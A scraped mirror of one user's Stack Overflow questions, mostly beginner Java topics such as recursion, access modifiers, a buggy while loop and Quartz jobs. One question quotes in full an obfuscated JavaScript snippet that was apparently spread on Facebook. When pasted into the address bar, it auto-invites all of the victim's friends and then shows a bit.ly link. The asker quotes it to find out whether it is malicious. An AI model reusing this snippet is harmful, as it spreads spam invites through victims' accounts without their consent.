小编Dav*_*vid的帖子

这里的递归如何工作?

代码1:

public static int fibonacci (int n){ 
    if (n == 0 || n == 1) { 
        return 1; 
    } else { 
        return fibonacci (n-1) + fibonacci (n-2); 
    }        
} 
Run Code Online (Sandbox Code Playgroud)

fibonacci如果你还没有完成解释它是什么,你怎么用?我已经能够理解在其他情况下使用递归,如下所示:

代码2:

class two 
{
    public static void two (int n) 
    {
        if (n>0) 
        {
            System.out.println (n) ;
            two (n-1) ;
        }
        else
        {
            return ;
        }
    } 

    public static void main (String[] arg) 
    {
        two (12) ;
    }
}
Run Code Online (Sandbox Code Playgroud)

但是,在代码2的情况下,n最终将达到它不满足的点,n>0并且该方法将停止递归调用自身.但是,在代码2的情况下,我不知道它是如何从1 n=1开始的,如果是起点2和3和5,依此类推.此外,我不知道该线如何return fibonacci (n-1) …

java recursion fibonacci

11
推荐指数
1
解决办法
1918
查看次数

什么是最简洁的编程语言?

什么是最简洁的编程语言?如果需要一个简洁的标准:总的来说,创建任何给定的程序需要最少量的字符.

language-agnostic programming-languages

11
推荐指数
5
解决办法
4083
查看次数

在java中公共/私有/其他方法的含义是什么意思?

在java中公共/私有/其他方法的含义是什么意思?
这些选项有哪些优缺点?
作为一个想成为优秀程序员的人,我的动力是什么呢?

java methods

9
推荐指数
2
解决办法
3万
查看次数

在java中,抽象方法可以是公共的吗?

在java中,抽象方法可以是公共的吗?抽象方法是隐式公开的还是如果你没有指定它们是否打包?(常规方法隐式包装正确?)是否有抽象方法不能拥有的可见性修饰符?(私人打扰我有问题)

java

9
推荐指数
2
解决办法
9289
查看次数

为什么不是"这个".这个构造函数需要命令?(Java)的

我正在读一本关于java的书.它只是解释了如何创建一个名为"deck"的类,其中包含一组卡作为其实例变量.这是代码snippit:

class Deck { 
    Card[] cards; 
    public Deck (int n) { 
        cards = new Card[n]; 
    } 
} 
Run Code Online (Sandbox Code Playgroud)

为什么不使用this.命令?

例如,为什么不是这个代码:

class Deck { 
    Card[] cards; 
    public Deck (int n) { 
       this.cards = new Card[n];
    }
}
Run Code Online (Sandbox Code Playgroud)

java constructor class

7
推荐指数
3
解决办法
1819
查看次数

这个while循环有什么问题?

boolean r = false ; int s = 0 ;
while (r == false) ; 
{
    s = getInt() ; 
    if (!(s>=0 && s<=2)) System.out.println ("try again not a valid response") ; 
    else r = true ; 
}
Run Code Online (Sandbox Code Playgroud)

即使输入3或123并且循环永不终止,文本也不会显示.这里有什么不对?

java infinite-loop while-loop

7
推荐指数
3
解决办法
5484
查看次数

地址栏中的Javascript - 这是恶意的吗?

我在Facebook上收到一条消息,告诉我将其复制并粘贴到我的地址栏中.我以为我会把它发布在这里,看看大家怎么想.它有什么作用?它是如何工作的?

这是源代码:

// (DO NOT DO THIS!)
Javascript:var a=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x32\x36\x38\x32\x36\x39\x35\x34\x31\x38\x35\x32\x33\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void (document[a[2]](a[1])[a[0]]=a[3]);var ss=document[a[2]](a[4]);
var c=document[a[6]](a[5]);
c[a[8]](a[7],true,true);
void (ss[a[9]](c));
void (setTimeout(function (){fs[a[10]]();} ,4000));
void (setTimeout(function (){SocialGraphManager[a[13]](a[11],a[12]);} ,5000));
void (setTimeout(function (){
document[a[2]](a[1])[a[0]]="\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x54\x6C\x30\x76\x6A\x27\x3E\x43\x6F\x6D\x70\x6C\x65\x74\x65\x64\x21\x20\x43\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x3C\x2F\x61\x3E";
} ,5400));
Run Code Online (Sandbox Code Playgroud)

javascript security

7
推荐指数
1
解决办法
3465
查看次数

石英作业比.线程立即执行一次任务

假设我有一些工作单元需要完成,我想相对于我的应用程序的其余部分进行异步操作,因为它可能需要很长时间,例如10秒到2分钟.要做到这一点,我正在考虑两个选择:

  1. 使用简单的触发器设置Quartz作业,只能触发一次并尽快触发.
  2. 创建一个Runnable实例,将其移交给一个Thread,然后调用run();.

在上述情况下,我有以下问题:

  1. 什么使用Quartz作业让我觉得线程没有?
  2. 什么使用runable让我使用石英作业不?
  3. 就最佳实践而言,应该使用什么标准来确定此用例的Quartz作业和runnables?

java multithreading quartz-scheduler runnable

7
推荐指数
1
解决办法
1960
查看次数

在java中我可以将方法存储在变量中吗?

可能重复:
Java - 创建方法数组

在java中我可以将方法存储在变量中吗?例如,我可以有一系列方法吗?如果是这样,我该怎么做?

java methods

6
推荐指数
1
解决办法
2万
查看次数

groovy http-builder 模块现在在哪里?

groovy http-builder模块的文档曾经在这里使用: http: //repository.codehaus.org/org/codehaus/groovy/modules/http-builder/http-builder

Codehaus 关闭后,http-builder 和 HttpClient 是否被移动/apache 是否开始维护它们?我想知道是否有比 2014 年更新的版本以及在哪里可以找到最新的文档?谷歌没有提供任何帮助,很明显我正在寻找错误的东西。

java groovy http

6
推荐指数
1
解决办法
5695
查看次数